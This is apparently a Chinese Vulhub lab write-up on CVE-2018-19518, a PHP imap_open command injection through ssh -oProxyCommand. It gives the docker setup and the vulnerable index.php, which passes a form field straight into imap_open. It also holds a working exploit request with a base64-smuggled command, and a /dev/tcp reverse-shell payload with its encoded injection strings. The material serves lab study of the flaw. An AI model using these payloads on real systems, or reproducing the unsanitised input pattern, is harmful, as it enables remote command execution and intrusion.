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147 lines
5.2 KiB
Markdown
147 lines
5.2 KiB
Markdown
# PHP imap 远程命令执行漏洞 CVE-2018-19518
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## 漏洞描述
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php imap 扩展用于在 PHP 中执行邮件收发操作。其 `imap_open` 函数会调用 rsh 来连接远程 shell，而 debian/ubuntu 中默认使用 ssh 来代替 rsh 的功能（也就是说，在 debian 系列系统中，执行 rsh 命令实际执行的是 ssh 命令）。
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因为 ssh 命令中可以通过设置 `-oProxyCommand=` 来调用第三方命令，攻击者通过注入注入这个参数，最终将导致命令执行漏洞。
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参考链接：
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- https://bugs.php.net/bug.php?id=77153
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- https://github.com/Bo0oM/PHP_imap_open_exploit
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- https://antichat.com/threads/463395/#post-4254681
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- https://nvd.nist.gov/vuln/detail/CVE-2018-19518
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## 环境搭建
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Vulhub 执行如下命令启动一个包含漏洞的 PHP 环境：
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```
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docker compose up -d
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```
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环境启动后，访问 `http://your-ip:8080` 即可查看 web 页面。Web 功能是测试一个邮件服务器是否能够成功连接，需要填写服务器地址、用户名和密码。
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目标源码为 index.php
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## 漏洞复现
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发送如下数据包即可成功执行命令 `echo '1234567890'>/tmp/test0001`：
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```
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POST / HTTP/1.1
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Host: your-ip
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 125
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hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222
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```
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执行 `docker compose exec web bash` 进入容器，可见 `/tmp/test0001` 已成功创建：
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写入反弹 shell：
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```bash
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# Payload
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echo "/bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1" > /tmp/a
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# Base64 Encode
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ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjEiID4gL3RtcC9h
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# URL Encode
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ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA%2bJjEiID4gL3RtcC9h
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# 组装Payload
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# hostname=x+-oProxyCommand%3decho%09[PAYLOAD]|base64%09-d|sh}&username=111&password=222
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hostname=x+-oProxyCommand%3decho%09ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA%2bJjEiID4gL3RtcC9h|base64%09-d|sh}&username=111&password=222
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```
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触发反弹 shell：
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```shell
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# Payload
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/bin/bash /tmp/a
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# Base64 Encode
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L2Jpbi9iYXNoIC90bXAvYQ==
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# URL Encode
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L2Jpbi9iYXNoIC90bXAvYQ%3d%3d
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# 组装Payload
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# hostname=x+-oProxyCommand%3decho%09[PAYLOAD]|base64%09-d|sh}&username=111&password=222
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hostname=x+-oProxyCommand%3decho%09L2Jpbi9iYXNoIC90bXAvYQ%3d%3d|base64%09-d|sh}&username=111&password=222
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```
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### index.php
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```php
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<?php
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if(!empty($_POST)) {
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$imap = @imap_open('{'.$_POST['hostname'].':993/imap/ssl}INBOX', $_POST['username'], $_POST['password']);
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}
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?>
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<!doctype html>
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<html lang="en">
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<head>
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<!-- Required meta tags -->
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<meta charset="utf-8">
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<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
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<!-- Bootstrap CSS -->
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<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous">
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<title>Input your email server</title>
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</head>
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<body>
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<div class="container">
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<h2>Test your email server</h2>
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<?php if(!empty($_POST)): ?>
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<?php if($imap): ?>
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<div class="alert alert-success" role="alert">
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Connect successful!
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</div>
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<?php else: ?>
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<div class="alert alert-danger" role="alert">
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Connect failed!
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</div>
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<?php endif; ?>
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<?php endif; ?>
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<form method="post">
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<div class="form-group">
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<label>Server address</label>
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<input type="text" name="hostname" class="form-control" >
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</div>
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<div class="form-group">
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<label>Username</label>
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<input type="text" name="username" class="form-control" >
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</div>
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<div class="form-group">
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<label>Password</label>
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<input type="password" class="form-control" name="password">
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</div>
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<button type="submit" class="btn btn-primary">Submit</button>
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</form>
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</div>
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<!-- Optional JavaScript -->
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<!-- jQuery first, then Popper.js, then Bootstrap JS -->
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<script src="https://cdn.jsdelivr.net/npm/jquery@3.3.1/dist/jquery.min.js" integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8=" crossorigin="anonymous"></script>
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<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.4/dist/umd/popper.min.js" integrity="sha256-EGs9T1xMHdvM1geM8jPpoo8EZ1V1VRsmcJz8OByENLA=" crossorigin="anonymous"></script>
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<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha256-VsEqElsCHSGmnmHXGQzvoWjWwoznFSZc6hs7ARLRacQ=" crossorigin="anonymous"></script>
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</body>
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</html>
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```
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